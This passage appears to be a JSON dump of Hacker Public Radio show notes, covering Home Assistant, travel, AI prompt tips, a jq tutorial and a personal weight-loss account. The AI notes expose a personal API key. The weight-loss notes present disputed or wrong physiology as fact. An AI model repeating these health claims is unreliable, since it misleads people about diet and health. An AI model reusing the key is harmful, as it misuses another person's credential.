                                                            The Home Assistant software application is installed as a computer\nappliance. After installation, it will act as a central control system\nfor home automation (commonly called a smart home hub), that has the\npurpose of controlling IoT connectivity technology devices, software,\napplications and services from third-parties via modular integration\ncomponents, including native integration components for common wireless\ncommunication protocols such as Bluetooth, Thread, Zigbee, and Z-Wave\n(used to create local personal area networks with small low-power\ndigital radios). Home Assistant as such supports controlling devices and\nservices connected via either open and proprietary ecosystems as long\nthey provide public access via some kind of Open API or MQTT for\nthird-party integrations over the local area network or the\nInternet.

                                                            \n

                                                            Information from all devices and their attributes (entities) that the\napplication sees can be used and controlled from within scripts trigger\nautomation using scheduling and \"blueprint\" subroutines, e.g. for\ncontrolling lighting, climate, entertainment systems and home\nappliances.

                                                            \n

                                                            Summary

                                                            \n
                                                              \n
                                                            • Original author(s): Paulus Schoutsen
                                                            • \n
                                                            • Developer(s): Home Assistant Core Team and Community
                                                            • \n
                                                            • Initial release: 17 September 2013
                                                            • \n
                                                            • Repository:\nhttps://github.com/home-assistant
                                                            • \n
                                                            • Written in: Python (Python 3.11)
                                                            • \n
                                                            • Operating system: Software appliance / Virtual appliance\n(Linux)
                                                            • \n
                                                            • Platform: ARM, ARM64, IA-32 (x86), and x64 (x86-64)
                                                            • \n
                                                            • Type: Home automation, smart home technology, Internet of things,\ntask automator
                                                            • \n
                                                            • License: Apache License (free and open-source)
                                                            • \n
                                                            • Website:\nhttps://www.home-assistant.io
                                                            • \n
                                                            \n

                                                            The following is taken from the\nConcepts\nand terminology on the Home Assistant website. It is reproduced here\nunder the\ncreative\ncommons Attribution-NonCommercial-ShareAlike 4.0 International\nLicense

                                                            \n

                                                            Integrations

                                                            \n

                                                            Integrations are pieces of software that allow Home Assistant to\nconnect to other software and platforms. For example, a product by\nPhilips called Hue would use the Philips Hue term integration and allow\nHome Assistant to talk to the hardware controller Hue Bridge. Any Home\nAssistant compatible term devices connected to the Hue Bridge would\nappear in Home Assistant as devices.

                                                            \n

                                                            \n

                                                            For a full list of compatible term integrations, refer to the integrations\ndocumentation.

                                                            \n

                                                            Once an term integration has been added, the hardware and/or data are\nrepresented in Home Assistant as devices and\nentities.

                                                            \n

                                                            Entities

                                                            \n

                                                            Entities are the basic building blocks to hold data in Home\nAssistant. An term entity represents a term sensor, actor, or function\nin Home Assistant. Entities are used to monitor physical properties or\nto control other term entities. An term entity is usually part of a term\ndevice or a term service. Entities have term states.

                                                            \n

                                                            Devices

                                                            \n

                                                            Devices are a logical grouping for one or more term entities. A term\ndevice may represent a physical term device, which can have one or more\nsensors. The sensors appear as entities associated with the term device.\nFor example, a motion sensor is represented as a term device. It may\nprovide motion detection, temperature, and light levels as term\nentities. Entities have states such as detected when motion is\ndetected and clear when there is no motion.

                                                            \n

                                                            \n

                                                            Devices and entities are used throughout Home Assistant. To name a\nfew examples:

                                                            \n
                                                              \n
                                                            • Dashboards\ncan show a state of an term entity. For example, if a light is on or\noff.
                                                            • \n
                                                            • An automation can be triggered from a\nstate change on an term entity. For example, a motion sensor entity\ndetects motion and triggers a light to turn on.
                                                            • \n
                                                            • A predefined color and brightness setting for a light saved as a scene.
                                                            • \n
                                                            \n

                                                            \n

                                                            Areas

                                                            \n

                                                            An area in Home Assistant is a logical grouping of term devices and\nterm entities that are meant to match areas (or rooms) in the physical\nworld: your home. For example, the living room area groups\ndevices and entities in your living room. Areas allow you to target\nservice calls at an entire group of devices. For example, turning off\nall the lights in the living room. Locations within your home such as\nliving room, dance floor, etc. Areas can be assigned to term floors.\nAreas can also be used for automatically generated cards, such as the Area card.

                                                            \n

                                                            Automations

                                                            \n

                                                            A set of repeatable term actions that can be set up to run\nautomatically. Automations are made of three key components:

                                                            \n
                                                              \n
                                                            1. Triggers - events that start an term automation. For example, when\nthe sun sets or a motion sensor is activated.
                                                            2. \n
                                                            3. Conditions - optional tests that must be met before an term action\ncan be run. For example, if someone is home.
                                                            4. \n
                                                            5. Actions - interact with term devices such as turn on a light.
                                                            6. \n
                                                            \n

                                                            To learn the basics about term automations, refer to the automation\nbasics page or try creating\nan automation yourself.

                                                            \n

                                                            \n

                                                            Scripts

                                                            \n

                                                            Similar to term automations, scripts are repeatable term actions that\ncan be run. The difference between term scripts and term automations is\nthat term scripts do not have triggers. This means that term scripts\ncannot automatically run unless they are used in an term automations.\nScripts are particularly useful if you perform the same term actions in\ndifferent term automations or trigger them from a dashboard. For\ninformation on how to create term scripts, refer to the scripts\ndocumentation.

                                                            \n

                                                            \n

                                                            Scenes

                                                            \n

                                                            Scenes allow you to create predefined settings for your term devices.\nSimilar to a driving mode on phones, or driver profiles in cars, it can\nchange an environment to suit you. For example, your watching\nfilms term scene may dim the lighting, switch on the TV and\nincrease its volume. This can be saved as a term scene and used without\nhaving to set individual term devices every time.

                                                            \n

                                                            To learn how to use term scenes, refer to the scene\ndocumentation.

                                                            \n

                                                            \n

                                                            Add-ons

                                                            \n

                                                            Depending on your installation type,\nyou can install third party add-ons. Add-ons are usually apps that can\nbe run with Home Assistant but provide a quick and easy way to install,\nconfigure, and run within Home Assistant. Add-ons provide additional\nfunctionality whereas term integrations connect Home Assistant to other\napps.

                                                            \n

                                                            \n","hostid":30,"series":125,"explicit":0,"license":"CC-BY-NC-SA","tags":"Home Automation, Internet of Things, IOT, Home Assistant, HA","version":0,"downloads":0,"valid":1}, {"id":4100,"date":"2024-04-19","title":"Charleston, South Carolina","duration":685,"summary":"We visit Charleston, South Carolina, and meet up with some friends","notes":"

                                                            Charleston, South Carolina is a classic Southern city which had a\npast as a wealthy city, in large part due to slavery, and was active in\nthe American Revolution before becoming the starting place of the Civil\nWar.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, Charleston, South Carolina","version":0,"downloads":0,"valid":1}, {"id":4101,"date":"2024-04-22","title":"A I O M G","duration":1689,"summary":"Some other guy on the internet talks about A I","notes":"

                                                            https://docs.google.com/document/d/17z3i5VlRzEn2tYPfb-Cx0LYpdKkbL-6svIzp7ZQOvX8

                                                            \n

                                                            Resume Update Tips

                                                            \n

                                                            I use Kagi.com pro $300 / year but you get access to much more\nSearch+AI but not plugins like ChatGPT so if you MUST have ChatGPT\nplugins you will need OpenAI Premium account but if you don't I high\nrecommend Kagi.com Pro account with access to Assistant Beta !!!

                                                            \n\n

                                                            Summary

                                                            \n

                                                            There is a formula consisting of 6 building blocks that can help\ngenerate high quality outputs from ChatGPT and Google Bard: task,\ncontext, exemplars, persona, format, and tone.

                                                            \n

                                                            The order of importance for the building blocks is task first, then\ncontext, with the others being optional but helpful.

                                                            \n

                                                            The task should clearly articulate the end goal using an action verb\nlike \"generate\" or \"analyze\".

                                                            \n

                                                            Context provides relevant background information to constrain\npossibilities.

                                                            \n

                                                            Exemplars like examples or frameworks included in the prompt can\nimprove output quality.

                                                            \n

                                                            The persona allows specifying who ChatGPT should be, like a job\nrecruiter.

                                                            \n

                                                            The format specifies how the output should be structured, like an\nemail or bullet points. Tone provides keywords to set the feeling, like\n\"friendly\" or \"serious\".

                                                            \n

                                                            Example

                                                            \n

                                                            You are a senior product marketing manager at Apple and you have just\nunveiled the latest Apple product in collaboration with Tesla, the Apple\nCar, and received 12,000 pre-orders, which is 200% higher than target.\nWrite an email to your boss, Tim Cookie, sharing this positive news. The\nemail should include a tl;dr (too long, didn't read) section,\nproject background (why this product came into existence), business\nresults section (quantifiable business metrics), and end with a section\nthanking the product and engineering teams. Use clear and concise\nlanguage and write in a confident yet friendly tone.

                                                            \n

                                                            Example 2 ( mine )

                                                            \n

                                                            I want you to act as a cyber security specialist for a leading\nconsumer products company and you want to relay the importance of people\nunderstanding their data and have some idea what they want to do with it\nbefore we spend hours for the onboarding effort. Write an email to your\nboss, Joey , sharing this critical component of the SIEM. The email\nshould include a tl;dr (too long, didn't read) section, example\nof how the team can spend many cycles onboarding data only to find the\nrequester has no idea what they want to do with the data or it does not\nsatisfy their use case. Use clear and concise language and write in a\nconfident yet friendly tone.

                                                            \n

                                                            Response Subject: Streamlining SIEM Onboarding with\nClear Data Objectives
                                                            \nHi Joey,

                                                            \n

                                                            I hope this email finds you well. I wanted to touch base on a\ncritical aspect of our Security Information and Event Management (SIEM)\nprocess that could significantly enhance our efficiency.

                                                            \n

                                                            TL;DR: We need to ensure that stakeholders understand their data and\nhave clear objectives before we initiate the SIEM onboarding process.\nThis will prevent the team from spending excessive time onboarding data\nthat may not meet the intended use cases or for which the requester has\nno actionable plan.

                                                            \n

                                                            During our recent SIEM onboarding efforts, we've encountered several\ninstances where considerable time and resources were invested in\nintegrating data sources, only to discover that the requesters were\nunclear about their objectives or the data did not fulfill their\nanticipated needs. For example, last month, the team dedicated over 40\nhours to onboarding a new data source for the marketing department.\nAfter completion, it became apparent that the marketing team was unsure\nhow to leverage this data for threat detection or compliance reporting,\nrendering the effort less effective.

                                                            \n

                                                            To address this, I propose we implement a preliminary consultation\nphase for each SIEM onboarding request. In this phase, requesters must\narticulate: - The specific security or compliance questions they aim to\nanswer with the data. - How they intend to use the data within the SIEM\nenvironment. - Any particular data formats or schemas they anticipate\nwill be necessary.

                                                            \n

                                                            By doing so, we can align our onboarding efforts with the actual\nneeds and ensure that every hour spent is towards enhancing our security\nposture and providing actionable insights.

                                                            \n

                                                            I believe this approach will not only save time but also empower our\nstakeholders to make better-informed decisions regarding their security\ndata needs.

                                                            \n

                                                            Looking forward to your thoughts on this.

                                                            \n

                                                            Best regards,
                                                            \n[Your Name]
                                                            \nCyber Security Specialist

                                                            \n

                                                            AI Agents

                                                            \n

                                                            ProfSynapse AI Agent
                                                            \nVideo: https://www.youtube.com/watch?v=BL9x1SuNLRo&t=137s

                                                            \n

                                                            ( if you have Openai Premium it will use [tools(Vision, Web Browsing,\nAdvanced Data Analysis, or DALL-E],
                                                            \n( https://raw.githubusercontent.com/ProfSynapse/Synapse_CoR/main/GPTprompt.txt\n)

                                                            \n

                                                            GPT Agents (old)
                                                            \nhttps://godmode.space/\nneeds openai key and gpt4 also enable auto approval it may go in loops\njust watch for that

                                                            \n

                                                            AutoGPT ( OLD )

                                                            \n

                                                            Image
                                                            \nI have a stupid amount of kudos

                                                            \n

                                                            https://tinybots.net/artbot

                                                            \n

                                                            Use my key under the settings for any of the web UI's for faster\nrenders:

                                                            \n

                                                            https://rentry.org/RentrySD/#x-table-of-contents https://rentry.org/sdhypertextbook

                                                            \n

                                                            https://github.com/C0untFloyd/bark-gui ( Audio Clone\n)

                                                            \n

                                                            Example 1

                                                            \n

                                                            Photorealistic, best quality, masterpiece, raw photo of upper body\nphoto, Swordsman woman, soldier of the austro-hungarian empire clothes,\ndouble breasted jacket with stripes, extremely detailed eyes and face,\nlong legs, highest quality, skin texture, intricate details, (cinematic\nlighting), RAW photo, 8k

                                                            \n

                                                            Negative prompt: airbrush, photoshop, plastic doll, plastic skin,\neasynegative, monochrome, (low quality, worst quality:1.4),\nillustration, cg, 3d, render, anime

                                                            \n

                                                            Text Generation

                                                            \n

                                                            Example Open source Projects:
                                                            \nmy hord key : l2n6qwRBqXsEa_BVkK8nKQ ( don't abuse but I have a crazy\namount of kudos don't worry )

                                                            \n

                                                            https://tinybots.net/\nImage Text etc ..

                                                            \n

                                                            Text adventures etc (Click the horde tab and use my key) https://agnai.chat/settings?tab=0 https://lite.koboldai.net

                                                            \n

                                                            Need a 24G NVRAM card really..you can load 7b with my 8G card just\nfine. ollama run wizard-vicuna-uncensored, falcon, Mistral 7B

                                                            \n

                                                            \"You should have at least 8 GB of RAM to run the 3B models, 16 GB to\nrun the 7B models, and 32 GB to run the 13B models.\"

                                                            \n

                                                            https://ollama.ai/

                                                            \n

                                                            https://writings.stephenwolfram.com/2023/03/chatgpt-gets-its-wolfram-superpowers/

                                                            \n

                                                            https://github.com/xtekky/gpt4free https://www.thesamur.ai/autogpt https://poe.com/universal_link_page?handle=ChatGPT https://camelagi.thesamur.ai/conversation/share?session=6040

                                                            \n

                                                            Prompt Agent Persona example 1
                                                            \nPinky from the TV Series Pinky and the Brain

                                                            \n

                                                            I find it easiest to understand responses when the text is written as\nif it was spoken by a Pinky from the TV Series Pinky and the Brain.\nPlease talk like Pinky from the TV Series Pinky and the Brain as much as\npossible, and refer to me as \"Brain\"; occasionally, ask me \"What are we\ngoing to do tonight Brain ?\"

                                                            \n

                                                            Prompt Agent Persona example 2

                                                            \n

                                                            Use with prompts to create a persona take Myers-Brigg personality and\ntritype Enneagram quiz:

                                                            \n

                                                            Example Prompt:

                                                            \n

                                                            Help me Refine my resume to be more targeted to an information\nsecurity engineer. Be sure to be clear and concise with with bullet\npoints and write it in the style of MBTI Myers-Brigg personality ENFJ\nand tritype Enneagram 729

                                                            \n

                                                            Prompt Agent Persona example 3 I find it easiest to understand\nresponses when the text is written as if it was spoken by a dudebro.\nPlease talk like a dudebro as much as possible, and refer to me as\n\"Brah\"; occasionally, yell at your dorm roommate Jake about being\nmessy.

                                                            \n

                                                            Training (OLD OLD OLD )

                                                            \n

                                                            3 photos of full body or entire object + 5 medium shot photos from\nthe chest up + 10 close ups astria.ai

                                                            \n

                                                            https://github.com/TheLastBen/fast-stable-diffusion/issues/1173

                                                            \n

                                                            colab: https://github.com/TheLastBen/fast-stable-diffusion
                                                            \npohtos: 21
                                                            \nresolution: 768
                                                            \nmerged with ##### 1.5 full 8G
                                                            \nUNet_Training_Steps: 4200
                                                            \nUNet_Learning_Rate: 5e-6
                                                            \nText_Encoder_Training_Steps: 2520
                                                            \nText_Encoder_Learning_Rate: 1e-6

                                                            \n

                                                            Variation is key - Change body pose for every picture, use pictures\nfrom different days backgrounds and lighting, and show a variety of\nexpressions and emotions.

                                                            \n

                                                            Make sure you capture the subject's eyes looking in different\ndirections for different images, take one with closed eyes. Every\npicture of your subject should introduce new info about your\nsubject.

                                                            \n

                                                            Whatever you capture will be over-represented, so things you don't\nwant to get associated with your subject should change in every shot.\nAlways pick a new background, even if that means just moving a little\nbit to shift the background.

                                                            \n
                                                            \n
                                                              \n
                                                            1. Here are 8 basic tips that work for me, followed by one super\nsecret tip that I recently discovered.

                                                            2. \n
                                                            3. Consistency is important. Don’t mix photos from 10 years ago with\nnew ones. Faces change, people lose weight or gain weight and it all\njust lowers fidelity.

                                                            4. \n
                                                            5. Avoid big expressions, especially ones where the mouth is\nopen.

                                                            6. \n
                                                            7. It is much easier to train if the hair doesn't change much. I\ntried an early model of a woman using photos with hair up, down, in\nponytail, with a different cut, etc. It seems like it just confused\nSD.

                                                            8. \n
                                                            9. Avoid selfies (unless you ONLY use selfies.) There is MUCH more\nperspective distortion when the camera is that close. For optimal\nresults, a single camera with a fixed lens would be used, and all photos\nshould be taken at the same distance from the subject. This usually\nisn't possible, but at least avoid selfies because they cause major face\ndistortion.

                                                            10. \n
                                                            11. Full body shots are not that important. Some of the best models I\ntrained used only 15 photos cropped to the head / shoulder region. Many\nof these were full body shots, but I cropped them down. SD can guess\nwhat the rest of the body looks like, and if not, just put it in the\nprompts. The only thing hard to train is the face, so focus on\nthat.

                                                            12. \n
                                                            13. I no longer use any profile shots as they don’t seem to add\nvalue. I like to have a couple looking slightly left and a couple\nlooking slightly right (maybe 45 degrees.) All the rest can be straight\nat the camera. Also, try to avoid photos taken from really high or low\nangles.

                                                            14. \n
                                                            15. If possible, it’s good to have some (but not all) of the photos\nbe on a very clean background. On my last batch, I used an AI background\nremoval tool to remove the background from 1/4 of the photos and\nreplaced it with a solid color. This seemed to improve results.

                                                            16. \n
                                                            17. Careful with the makeup. It should be very consistent across all\nthe photos. Those cool “contour” effects that trick our eyes, also trick\nSD.

                                                            18. \n
                                                            \n
                                                            \n

                                                            Interview from a very smart autodidact

                                                            \n

                                                            https://youtu.be/AaTRHFaaPG8?t=3279

                                                            \n

                                                            Canva AI Presentation generator
                                                            \nhttps://www.youtube.com/watch?v=Nl2gLi1MD04

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"AI,ai art, ai text generation,resume,jobs","version":0,"downloads":0,"valid":1}, {"id":4102,"date":"2024-04-23","title":"Re:HPR 3133 More MPV Quick Tips","duration":325,"summary":"Archer72 chats about capture of extensive MPV history","notes":"

                                                            MPV resources

                                                            \n

                                                            Awesome mpv resources on\nGithub

                                                            \n

                                                            MPV folder history on\nGithub

                                                            \n

                                                            My github

                                                            \n

                                                            MPV History using Lua on\nmy Github page

                                                            \n

                                                            hpr3133 ::\nQuick tip - Using MPV with Youtube links

                                                            \n

                                                            I give a quick tip on shortcut keys for watching Youtube or other\nvideo sites in MPV

                                                            \n

                                                            hpr3133 :: Quick tip - Using\nMPV

                                                            \n

                                                            My MPV History excerpt

                                                            \n

                                                            My MPV History excerpt

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Media, Video","version":0,"downloads":0,"valid":1}, {"id":4103,"date":"2024-04-24","title":"What's in my bag?","duration":317,"summary":"An examination of the bag I use when out on the road","notes":"

                                                            Laptop:
                                                            \nEstarer\nMessenger Resistant Briefcase Computer Grey

                                                            \n

                                                            Power bank
                                                            \nINIU\nHigh Speed Flashlight Powerbank Compatible

                                                            \n","hostid":430,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"Bag, drawing, comics,toolkit","version":0,"downloads":0,"valid":1}, {"id":4104,"date":"2024-04-25","title":"Introduction to jq - part 1","duration":1115,"summary":"The JSON data format, and using the jq utility to process it","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the start of a short series about the JSON data format, and how\nthe command-line tool jq\ncan be used to process such data. The plan is to make an open series to\nwhich others may contribute their own experiences using this tool.

                                                            \n

                                                            The jq command is described on the GitHub page as follows:

                                                            \n
                                                            \n

                                                            jq is a lightweight and flexible command-line JSON processor

                                                            \n
                                                            \n

                                                            …and as:

                                                            \n
                                                            \n

                                                            jq is like sed for JSON data - you can use\nit to slice and filter and map and transform structured data with the\nsame ease that sed, awk, grep and\nfriends let you play with text.

                                                            \n
                                                            \n

                                                            The jq tool is controlled by a programming language\n(also referred to as jq), which is very powerful. This\nseries will mainly deal with this.

                                                            \n

                                                            JSON (JavaScript Object\nNotation)

                                                            \n

                                                            To begin we will look at JSON itself. It is defined on\nthe Wikipedia page\nthus:

                                                            \n
                                                            \n

                                                            JSON is an open standard file format and data\ninterchange format that uses human-readable text to store and transmit\ndata objects consisting of attribute–value pairs and arrays (or other\nserializable values). It is a common data format with diverse uses in\nelectronic data interchange, including that of web applications with\nservers.

                                                            \n
                                                            \n

                                                            The syntax of JSON is defined by RFC 8259 and by\nECMA-404.\nIt is fairly simple in principle but has some complexity.

                                                            \n

                                                            JSON’s basic data types are (edited from the Wikipedia page):

                                                            \n
                                                              \n
                                                            • Number: a signed decimal number that may contain a\nfractional part and may use exponential E notation, but cannot include\nnon-numbers. (NOTE: Unlike what I said in the audio,\nthere are two values representing non-numbers: 'nan' and\ninfinity: 'infinity'.

                                                            • \n
                                                            • String: a sequence of zero or more Unicode characters.\nStrings are delimited with double quotation marks and support a\nbackslash escaping syntax.

                                                            • \n
                                                            • Boolean: either of the values true or\nfalse

                                                            • \n
                                                            • Array: an ordered list of zero or more elements, each of\nwhich may be of any type. Arrays use square bracket notation with\ncomma-separated elements.

                                                            • \n
                                                            • Object: a collection of name–value pairs where the names\n(also called keys) are strings. Objects are delimited with curly\nbrackets and use commas to separate each pair, while within each pair\nthe colon ':' character separates the key or name from its\nvalue.

                                                            • \n
                                                            • null: an empty value, using the word\nnull

                                                            • \n
                                                            \n

                                                            Examples

                                                            \n

                                                            These are the basic data types listed above (same order):

                                                            \n
                                                            42\n"HPR"\ntrue\n["Hacker","Public","Radio"]\n{ "firstname": "John", "lastname": "Doe" }\nnull
                                                            \n

                                                            jq

                                                            \n

                                                            From the Wikipedia page:

                                                            \n
                                                            \n

                                                            jq was created by Stephen Dolan, and released in October\n2012. It was described as being “like sed for JSON data”. Support for\nregular expressions was added in jq version 1.5.

                                                            \n
                                                            \n

                                                            Obtaining jq

                                                            \n

                                                            This tool is available in most of the Linux repositories. For\nexample, on Debian and Debian-based releases you can install it\nwith:

                                                            \n
                                                            sudo apt install jq
                                                            \n

                                                            See the download\npage for the definitive information about available versions.

                                                            \n

                                                            Manual for jq

                                                            \n

                                                            There is a detailed manual describing the use of the jq\nprogramming language that is used to filter JSON data. It can be found\nat https://jqlang.github.io/jq/manual/.

                                                            \n

                                                            The HPR statistics page

                                                            \n

                                                            This is a collection of statistics about HPR, in the form of JSON\ndata. We will use this as a moderately detailed example in this\nepisode.

                                                            \n

                                                            A link to this page may be found on the HPR Calendar page\nclose to the foot of the page under the heading Workflow.\nThe link to the JSON statistics is https://hub.hackerpublicradio.org/stats.json.

                                                            \n

                                                            If you click on this you should see the JSON data formatted for you\nby your browser. Different browsers represent this in different\nways.

                                                            \n

                                                            You can also collect and display this data from the command line,\nusing jq of course:

                                                            \n
                                                            $ curl -s https://hub.hackerpublicradio.org/stats.json | jq '.' | nl -w3 -s'  '\n  1  {\n  2    "stats_generated": 1712785509,\n  3    "age": {\n  4      "start": "2005-09-19T00:00:00Z",\n  5      "rename": "2007-12-31T00:00:00Z",\n  6      "since_start": {\n  7        "total_seconds": 585697507,\n  8        "years": 18,\n  9        "months": 6,\n 10        "days": 28\n 11      },\n 12      "since_rename": {\n 13        "total_seconds": 513726307,\n 14        "years": 16,\n 15        "months": 3,\n 16        "days": 15\n 17      }\n 18    },\n 19    "shows": {\n 20      "total": 4626,\n 21      "twat": 300,\n 22      "hpr": 4326,\n 23      "duration": 7462050,\n 24      "human_duration": "0 Years, 2 months, 27 days, 8 hours, 47 minutes and 30 seconds"\n 25    },\n 26    "hosts": 356,\n 27    "slot": {\n 28      "next_free": 8,\n 29      "no_media": 0\n 30    },\n 31    "workflow": {\n 32      "UPLOADED_TO_IA": "2",\n 33      "RESERVE_SHOW_SUBMITTED": "27"\n 34    },\n 35    "queue": {\n 36      "number_future_hosts": 7,\n 37      "number_future_shows": 28,\n 38      "unprocessed_comments": 0,\n 39      "submitted_shows": 0,\n 40      "shows_in_workflow": 15,\n 41      "reserve": 27\n 42    }\n 43  }
                                                            \n

                                                            The curl utility is useful for collecting information\nfrom links like this. I have used the -s option to ensure\nit does not show information about the download process, since it does\nthis by default. The output is piped to jq which displays\nthe data in a “pretty printed” form by default, as you see. In this case\nI have given jq a minimal filter which causes what it\nreceives to be printed. The filter is simply '.'. I have\npiped the formatted JSON through the nl command to get line\nnumbers for reference.

                                                            \n

                                                            The JSON shown here consists of nested JSON objects. The\nfirst opening brace and the last at line 43 define the whole thing as a\nsingle object.

                                                            \n

                                                            Briefly, the object contains the following:

                                                            \n
                                                              \n
                                                            • a number called stats_generated (line 2)
                                                            • \n
                                                            • an object called age on lines 3-18; this object\ncontains two strings and two objects
                                                            • \n
                                                            • an object called shows on lines 19-25
                                                            • \n
                                                            • a number called hosts on line 26
                                                            • \n
                                                            • an object called slot on lines 27-30
                                                            • \n
                                                            • an object called workflow on lines 31-34
                                                            • \n
                                                            • an object called queue on lines 35-42
                                                            • \n
                                                            \n

                                                            We will look at ways to summarise and reformat such output in a later\nepisode.

                                                            \n

                                                            Next episode

                                                            \n

                                                            I will look at some of the options to jq next time,\nthough most of them will be revealed as they become relevant.

                                                            \n

                                                            I will also start looking at jq filters in that\nepisode.

                                                            \n

                                                            Links

                                                            \n\n\n
                                                              \n
                                                            • MrX’s\nshow on using the HPR statistics in JSON: Modifying a\nPython script with some help from ChatGPT
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"JSON,JavaScript Object Notation,command line,functional programming language,jq","version":0,"downloads":0,"valid":1}, {"id":4105,"date":"2024-04-26","title":"My story how I found a cure for my obesity","duration":2340,"summary":"A talk about my historical weight gain and what I recently learned so that I now lose weight.","notes":"

                                                            I have been struggling with my body weight since I was 35, and I’m\nnow 60.
                                                            \nI know that not all listeners are familiar with the kilogram as unit of\nmeasurement, but we can use the BMI (Body Mass Index) formula to discuss\nthis. It should be somewhere between 22 and 25 and mine has been 33 for\na long time. A very long time. No matter what I tried.

                                                            \n

                                                            Yes, I tried some diets but they only work if you keep doing them. So\nif something does not become normal or easy than at some inevitable\npoint you will stop and gain weight again.
                                                            \nYes, they talk about changing your life style but any change that is too\ndrastic is bound to fail in the end.

                                                            \n

                                                            And then recently I read this book. This absolutely changed my life\nand that is why I am so motivated to tell you all about it.

                                                            \n

                                                            Book obesity code, Jason Fung, a Canadian nephrologist (kidney\nspecialist).
                                                            \nHe is also a functional medicine advocate who promotes a\nlow-carbohydrate high-fat diet and intermittent fasting. But we come\nback to that later.

                                                            \n

                                                            Not another diet hype. That is an industry on its own.
                                                            \nThis is scientific stuff. With lots of links to research papers.
                                                            \nWith large groups and thoroughly peer reviewed.

                                                            \n

                                                            And this does not mean that this story is for everyone.
                                                            \nThere exist other medical reasons why people gain weight.
                                                            \nBut, assuming most people start out in life being healthy, then most\npeople gaining weight are not ill.
                                                            \nSo, if you gain weight, consult your doctor first to rule out any\nmedical reasons.

                                                            \n

                                                            Jason Fung noticed that practice didn't match with theory.

                                                            \n

                                                            Everybody who is given insulin gains weight.
                                                            \nEven diabetes type 2 people.
                                                            \nThere are even several scientific studies that proves this. Give people\ninsulin and they will gain weight.

                                                            \n

                                                            So what if insulin is the culprit for gaining weight?
                                                            \nInsulin is a hormone. Its job is to send signals through the body.
                                                            \nIts use is to allow body cells to absorb nutrients in the blood\nstream.

                                                            \n

                                                            Every time you eat the insulin peaks and subsides normally three\ntimes a day.

                                                            \n

                                                            Body process called gluconeogenesis. Making fat in the liver for one\nday storage.

                                                            \n

                                                            If you eat the body makes insulin. That is normal.
                                                            \nIf you eat more, the body makes more insulin.
                                                            \nBody cells adjust to the higher level and become tone deaf to insulin:\nInsulin resistant.
                                                            \nThis means next time the insulin level needs to be higher.
                                                            \nAnd higher levels of insulin mean you will gain weight.

                                                            \n

                                                            If you eat sugar, it is so easy to break down that it goes\nimmediately into storage, e.g. body fat.

                                                            \n

                                                            The thing is, wheat is chemically a long string of sugars. So the\nbody will break it down into sugar and send that too to storage.

                                                            \n

                                                            And almost any food we buy these days contains sugar.
                                                            \nExcept unprocessed foods like vegetables.

                                                            \n

                                                            How to lose weight? Well, the body needs to access the fat in\nstorage. So we need to extend not eating until the liver has run dry of\nthe daily dose of liver fat.

                                                            \n

                                                            This is very easy. Just extend the daily period that you do not\neat.
                                                            \nWhen do you not eat? When you sleep. So, skip breakfast. The name says\nit all, you are breaking your fast.

                                                            \n

                                                            Drink some coffee (no sugar of course), or tea, or water and try to\nstart eating later in the day.

                                                            \n

                                                            And another word for not eating is fasting. But it is a voluntary\nfast!

                                                            \n

                                                            So I tried this for one day. Skip breakfast and try to eat it at\nnoon. I mean, what could possibly go wrong, right? The next day I had\nlost some weight. And it was sooo easy! I could say 300 grams but again,\nyour mileage may vary or you have no clue what one gram is, let alone\n300. But that is not the point. The point is that I lost weight! And to\nme this has been super easy.

                                                            \n

                                                            So the solution turns out to be:

                                                            \n
                                                              \n
                                                            • extend the time your insulin levels are low. 16, 24 or 36\nhours.
                                                            • \n
                                                            • eat as little sugar as possible.
                                                            • \n
                                                            \n

                                                            Which brings me to food categories.

                                                            \n
                                                              \n
                                                            • carbohydrates. Sugars, wheat, flour
                                                            • \n
                                                            • proteins.
                                                            • \n
                                                            • fats. Oil, etc.
                                                            • \n
                                                            • vitamins and minerals
                                                            • \n
                                                            • fibers
                                                            • \n
                                                            \n

                                                            Average digestion times of

                                                            \n
                                                              \n
                                                            • carbohydrates. 30 minutes. After which you will be hungry again
                                                            • \n
                                                            • proteins: 3-5 hours
                                                            • \n
                                                            • fats. Oil, etc. up to 40 hours
                                                            • \n
                                                            • vitamins and minerals. needed
                                                            • \n
                                                            • fibers. Leave the body
                                                            • \n
                                                            \n

                                                            How has all this theory changed my life and diet?

                                                            \n
                                                              \n
                                                            • I try to start eating at noon, sometimes an hour earlier
                                                            • \n
                                                            • I eat as little carbohydrates as possible. Little to no bread,\ndefinitely no sugar, avoid artificial sweeteners
                                                            • \n
                                                            • my meal at noon is most of the times quark with some fruit for\nflavoring
                                                            • \n
                                                            • evening food:\n
                                                                \n
                                                              • Vegetables are good.
                                                              • \n
                                                              • Some meat is good.
                                                              • \n
                                                              • I try to avoid desserts
                                                              • \n
                                                            • \n
                                                            • No eating between meals (this will cause an extra insulin peak I\nwant to avoid)
                                                            • \n
                                                            \n

                                                            Since I started 2 month ago I have on average lost 4 kilograms. It\ncould have been more but then there’s the occasional dinner with friends\nand what is bad, but soo good, is unavoidable.

                                                            \n

                                                            So, some other stuff that is good to know:

                                                            \n

                                                            What’s that about exercising?

                                                            \n
                                                              \n
                                                            • Well, we humans, excel at walking and thus wearing out our prey. So\nwalking is good. Everyday for half an hour is great.
                                                            • \n
                                                            • Doing an intensive workout for a minimum of 10 minutes per week is\ngood to keep our cardiovascular system and our brain up to speed
                                                            • \n
                                                            • Can you compensate cookies with sports. Well, every cookie would\ntake you about 2.5 hours of intensive sports, so no, you can not\ncompensate bad eating with sports.
                                                            • \n
                                                            \n

                                                            What’s with the calories in are calories out? Studies have proven\nthat this is a false claim. It just doesn't work that way.

                                                            \n

                                                            What about stress. Well, it turns out that stress leads to heightened\nlevels of the hormones adrenaline and cortisol. And when cortisol rises,\nso too does the insulin levels in your body. So, this simply means that\nstress will lead to weight gain.

                                                            \n

                                                            Can I simply drink diet sodas. Well, bummer there, because although\nit diet sodas do not contain calories nor sugars, they will result in a\nrise in your insulin level, so they are not good for loosing weight.

                                                            \n

                                                            [The Diary Of A CEO with Steven Bartlett] The Fasting Doctor:\n“Fasting Cures Obesity!”, This Controversial New Drug Melts Fat, Fasting\nFixes Hormones! Skip Breakfast!

                                                            \n

